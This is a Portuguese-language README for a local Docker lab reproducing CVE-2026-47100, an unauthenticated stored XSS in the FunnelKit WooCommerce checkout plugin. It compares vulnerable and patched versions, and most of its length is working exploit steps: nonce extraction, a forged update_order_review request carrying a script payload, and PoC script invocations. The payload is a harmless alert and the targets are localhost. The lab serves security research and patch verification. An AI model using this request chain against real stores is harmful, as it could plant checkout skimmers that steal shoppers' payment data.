
Laboratório Docker local para reproduzir a CVE-2026-47100, um XSS armazenado não autenticado no FunnelKit for WooCommerce. Inclui scripts de PoC para comparar versões vulneráveis e corrigidas.
Laboratório Docker local para reproduzir o CVE-2026-47100 de forma segura e com o menor dano possível. Este laboratório compara uma versão vulnerável do FunnelKit com uma versão corrigida e verifica o comportamento usando um marcador/alerta JavaScript inofensivo.
O CVE-2026-47100 é uma vulnerabilidade de autorização ausente no Funnel Builder / FunnelKit for WooCommerce Checkout anterior à versão 3.15.0.3.
O fluxo AJAX vulnerável do checkout permite que um visitante não autenticado invoque um método interno do plugin e grave dados na configuração interna de script externo global do FunnelKit. Como essa configuração é renderizada posteriormente nas páginas de checkout do FunnelKit, o problema pode se tornar XSS Armazenado não autenticado nas páginas de checkout.
Este repositório reproduz o problema localmente usando dois serviços Docker:
| Serviço | Versão | URL | Resultado esperado |
|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | comportamento vulnerável confirmado |
patched | 3.15.0.3 | http://127.0.0.1:8082 | gravação bloqueada / marcador não renderizado |

Seleção inicial do CVE a partir da saída do Vulnx. O laboratório e o PoC foram construídos manualmente comparando o comportamento vulnerável e o corrigido.
Um atacante não autenticado pode abusar do fluxo AJAX público do checkout para persistir JavaScript na configuração de script externo global do FunnelKit.
Em uma loja WooCommerce real, isso poderia permitir que JavaScript malicioso fosse executado no navegador de usuários que visitam a página de checkout. Relatórios públicos têm associado essa classe de vulnerabilidade a campanhas de skimming em checkouts.
Este laboratório usa intencionalmente apenas um marcador de prova inofensivo:
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
A versão vulnerável aceita dados de checkout controlados pelo usuário a partir do endpoint AJAX público do WooCommerce:
/?wc-ajax=update_order_review
Dentro do fluxo de checkout do FunnelKit, a requisição pode incluir:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
A lógica vulnerável verifica se o nome da ação fornecida existe como um método de classe. Se o método existe, ele pode ser invocado a partir do fluxo público de checkout.
Comportamento vulnerável simplificado:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
A ação importante controlada pelo atacante é:
update_global_settings_fields
Esse método atualiza a opção do WordPress:
_wfacp_global_settings
e especificamente a chave interna do FunnelKit:
wfacp_global_external_script
O valor armazenado é lido posteriormente pelo template de checkout e renderizado na página de checkout. Isso cria a condição de XSS Armazenado.
Cadeia de exploração:
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS
A versão 3.15.0.3 reforça o caminho vulnerável com duas mudanças importantes.
A versão corrigida restringe quais ações de checkout podem ser invocadas a partir do fluxo público de checkout.
Comportamento corrigido simplificado:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
Isso impede que métodos internos arbitrários, como update_global_settings_fields, sejam acionados por requisições de checkout não autenticadas.
A versão corrigida também adiciona uma verificação de autorização antes que as configurações globais possam ser atualizadas:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
Isso significa que a configuração de script externo global só deve ser gravável por usuários com privilégios de gerenciamento do WooCommerce.
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
O processo de seed cria:
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10
Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
O laboratório usa uma URL de checkout determinística:
/?post_type=wfacp_checkout&p=11
Isso carrega explicitamente o post personalizado de checkout do FunnelKit no laboratório Docker local.
Inicie o laboratório:
docker compose up -d --build
Verifique os serviços:
docker compose ps
Serviços esperados:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Instale as dependências Python:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py é o PoC determinístico do laboratório.
Ele assume os seguintes valores de seed do Docker local:
product_id = 10
checkout_post_id = 11
Execute contra o serviço vulnerável:
python3 poc/poc_lab.py http://127.0.0.1:8081
Resultado esperado:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
Execute contra o serviço corrigido:
python3 poc/poc_lab.py http://127.0.0.1:8082
Resultado esperado:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py é uma ferramenta de autoteste autorizado mais portátil.
Apenas verificação passiva:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
Verificação ativa autorizada:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
Modo apenas com marcador, sem alerta:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
Tentativa de limpeza:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
Crie uma nova sessão WooCommerce e adicione o produto do laboratório ao carrinho:
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
Obtenha a página de checkout do FunnelKit e extraia o nonce de checkout do WooCommerce:
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
Envie a requisição AJAX de checkout forjada:
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Verifique se a opção foi gravada:
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Resultado esperado:
{
"wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
"wfacp_checkout_global_css": ""
}
Verifique se o marcador é renderizado:
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Abra no navegador para ver o alerta inofensivo:
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
Repita o mesmo fluxo na porta 8082:
rm -f /tmp/cve47100-patched.cookies
curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?add-to-cart=10" >/dev/null
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
-c /tmp/cve47100-patched.cookies \
-b /tmp/cve47100-patched.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Verifique se a opção permanece inalterada:
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Resultado esperado:
[]
Verifique se o marcador não é renderizado:
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Resultado esperado: nenhuma saída.
O serviço vulnerável confirma o problema quando todos os itens a seguir são verdadeiros:
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
O serviço corrigido confirma a correção quando:
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
Este repositório é apenas para pesquisa de segurança local e autorizada.
Escopo permitido:
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test
Não permitido:
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores
O PoC usa apenas um alerta e um marcador inofensivos.